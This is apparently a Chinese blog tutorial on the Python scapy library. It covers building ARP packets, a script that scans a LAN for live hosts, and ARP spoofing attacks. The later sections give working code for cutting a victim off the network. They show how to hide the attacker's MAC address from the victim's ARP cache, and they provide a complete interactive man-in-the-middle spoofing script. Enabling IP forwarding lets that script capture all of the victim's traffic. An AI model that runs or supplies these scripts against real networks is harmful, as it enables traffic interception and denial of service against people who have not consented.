scapy主要基于二、三、四层工作,通过自己构造数据包发送。
在kali Linux系统中可以直接输入scapy模块,进行构造数据包。在python中需要先导入scapy模块。下面用的python版本是2.x

1.构造ARP请求并发送

>>> arp = ARP()      //这里把ARP()类实例化成arp
>>> dir(arp)    //查看arp的方法有哪些
[ '_name', '_overload_fields', '_pkt', '_show_or_dump', 'add_payload', 'add_underlayer', 'aliastypes', 'answers', 'build', 'build_done', 'build_padding', 
.............................
.............................
'underlayer', 'upper_bonds', 'who_has']

>>> arp.show()       //查看arp类的参数有哪些
###[ ARP ]### 
hwtype= 0x1     #以太网,这里用的0x1表示
ptype= 0x800    #  基于ipv4协议的
hwlen= 6
plen= 4
op= who-has      #表示包的作用是响应包还是请求包。可以通过   1(who-has)和    2(is-at)的数字设置。is-at表示响应包
hwsrc= 00:0c:29:ba:f7:45     #源MAC地址
psrc= 10.10.10.11                 #源IP地址
hwdst= 00:00:00:00:00:00    #目的MAC地址
pdst= 0.0.0.0                         #目的IP地址

可以通过与wireshark抓的包进行对比。
scapy模块实现arp扫描,断网×××

————————————————————————————————————————————————————————————————

>>> arp.pdst="10.10.10.12"    #设置接收的主机IP
>>> sr1(arp)      #发送并接收返回的包
Begin emission:
.*Finished to send 1 packets.

Received 2 packets, got 1 answers, remaining 0 packets
<ARP  hwtype=0x1 ptype=0x800 hwlen=6 plen=4 op=is-at hwsrc=00:0c:29:e4:11:67 psrc=10.10.10.12 hwdst=00:0c:29:ba:f7:45 pdst=10.10.10.11 |<Padding  load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>

>>> send(arp)   #只是发送一个arp包
.
Sent 1 packets.

>>> arp.pdst="10.10.10.156"  #这里设置了一个不存在的IP

>>> sr1(arp,timeout=0.1,verbose=0)   
WARNING: Mac address to reach destination not found. Using broadcast.
>>> sr1(arp)
Begin emission:
.............WARNING: Mac address to reach destination not found. Using broadcast.
Finished to send 1 packets.
............................................^C
Received 57 packets, got 0 answers, remaining 1 packets

注:给不存在的主机发送arp请求时,得不到任何回复,并且,如果不设timeout 参数,arp就会一直等待目标主机的答应。verbose 是设置显示的内容,不会显示多余的内容。

直接

srp1(Ether(dst='00:0c:29:ea:ed:6d')/ARP(pdst='10.10.10.10'))
Begin emission:
.Finished to send 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
<Ether dst=00:0c:29:ba:f7:45 src=00:0c:29:ea:ed:6d type=0x806 |<ARP hwtype=0x1 ptype=0x800 hwlen=6 plen=4 op=is-at hwsrc=00:0c:29:ea:ed:6d psrc=10.10.10.10 hwdst=00:0c:29:ba:f7:45 pdst=10.10.10.11 |<Padding load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>>
注意1:这里构造包加上了数据包帧头,构造必须满足OSI七层网络模型结构,例如构造一个TCP的数据包: Ether()/IP()/TCP()


总结scapy发送与接收

只发不收:

  • send(),在第三层发包,不关心第二层的封装,第二层采用默认值

  • sendp(),在第二层发包,需要手动指定第二层的封装

发包且接收回复

  • sr()sr1()都是在第三层发包,sr1表示只接受第一个回复

  • srp()srp1()都是在第二层发包,srp1表示只接受第一个回复

如果目标主机不通,那么将会一直发包,因此需要加上timeout参数


sr1send 表示在第三层发送,srp1sendp表示在第二层发送

2.通过ARP()实现扫描主机

原理: 发送arp数据包时,只有主机在线的才会有回复,主机不在线会一直一直等待下去。通过这一特点实现主机扫描

root@kal:~/scan# vim arping.py 
#!/usr/bin/python
#!encoding=utf-8
import sys
from scapy.all import *

def scan(prefix):     
        for i in range(254):
                try:
                        ip=prefix+'.'+str(i)
                        response=sr1(ARP(pdst=ip),timeout=0.1,verbose=0)  #发送请求包
                        if(response):
                                print ip
                except KeyboardInterrupt:
                        print
                        return

def judge():
        if len(sys.argv) != 2:
                print "Example ./arping 192.168.10"     #提示用户输入ip网段格式
                sys.exit()
        else:
                prefix=sys.argv[1]
                return prefix

def main():
        prefix=judge()  #简单的判断输入参数个数。
        scan(prefix)  #扫描局域网内存活主机

if __name__ == "__main__":
        main()

缺点:arp的扫描不能路由,只能扫描同一个IP段的主机。

3.利用ARP发包实现arp断网×××

>>> arp.show()
###[ ARP ]### 
    hwtype= 0x1
    ptype= 0x800
    hwlen= 6
    plen= 4
    op= who-has
    hwsrc= 00:0c:29:ba:f7:45
    psrc= 10.10.10.11
    hwdst= 00:00:00:00:00:00
    pdst= 0.0.0.0

>>> arp.psrc='10.10.10.2'     #设置源ip为网关ip
>>> arp.pdst='10.10.10.12'    #目的IP仍然设置受害者的IP
>>> send(arp)
.
Sent 1 packets.
  1. 通过上面的发送的包含义就是:×××机告诉受害者主机,我是网关,受害机就会相信他说的话。受害者的主机就会将之后的所有信息发送到×××者的主机(假网关),然后通过假的网关发送到外网。如果×××主机没有开启转发功能,这就实现了ARP断网×××。

  2. 但是这样是直接发送arp包,并没有包装Ethernet层,那么就会产生一个小小的瑕疵。×××机会发送发送广播,问那个受害机的ip的MAC地址是多少,这个消息将会有受害机响应arp请求,告知自己的MAC地址,这样就在受害机的arp缓存表中保留了×××机的MAC地址和IP。

  3. 这里截取了发送arp()欺骗后,受害机的arp缓存表:
    scapy模块实现arp扫描,断网×××

这样就可以轻松的看到施展×××的主机是哪一台。
??那么如何隐藏呢??

这里我们就需要包装以太网层,将其目的MAC设置为广播地址,ARP的层的设置和上面一样,代码实现如下:

sendp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst='10.10.10.12',psrc='10.10.10.2'))
.
Sent 1 packets.

我们这会看下受害机的arp缓存表:
scapy模块实现arp扫描,断网×××

这时就没有很明显的留下痕迹,但是如果受害机把10段下的所有网络ping过的话同样能知道施展×××机的主机,这样只是比上面更保险了点。但不是绝对保险。

4. ARP发包实现双向欺骗并截取数据包

这里我就直接通过一个比较简单python的脚本实现。如果需要实现其他功能可以自己继续完善。
root@kal:~/scan# vim arpsoof.py
#!/usr/bin/python
#!encoding=utf-8

import sys
from scapy.all import *
import time

def arpsoof(ip1,ip2):
        '''
        这个函数只是为了发送构造的arp请求
        '''
        response = sendp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(psrc=ip1,pdst=ip2))

def double(ip1,ip2):
        '''
        主要是根据两个不同的需求进行调用arpsoof函数
        '''
        print "1. 中间人×××"
        print "2. 断网×××"
        choose = int(raw_input())
        print choose
        if choose == 1:
                while True:
                        try:
                                arpsoof(ip1,ip2)
                                arpsoof(ip2,ip1)
                                time.sleep(2)
                        except KeyboardInterrupt:
                                print
                                return
        elif choose == 2:
                while True:
                        try:
                                arpsoof(ip1,ip2)
                                time.sleep(2)
                        except KeyboardInterrupt:
                                print
                                return
        else:
                print "输入错误....\n"
                double(ip1,ip2)

def main():
        '''
        实现输入网关IP和×××者IP的功能模块
        '''
        try:
                ip1 = raw_input('*******请输入网关IP:')
                ip2 = raw_input('*******请输入受×××者IP:')
                double(ip1,ip2)
        except KeyboardInterrupt:
                print "\n"
                print "*******1. 重新输入*******"
                print "*******2. 结束程序*******"
                choice = int(raw_input())
                if choice == 1:
                        main()
                elif choice ==2:
                        sys.exit
                else:
                        print "输入错误,请重新输入...\n"
                        main()

if __name__ == "__main__":
        main()

还要手动实现路由转发的功能,命令如下:

root@kal:~/scan# echo 1 > /proc/sys/net/ipv4/ip_forward

然后就可以开启wireshark进行抓包,就可以获取受害机的所有访问请求。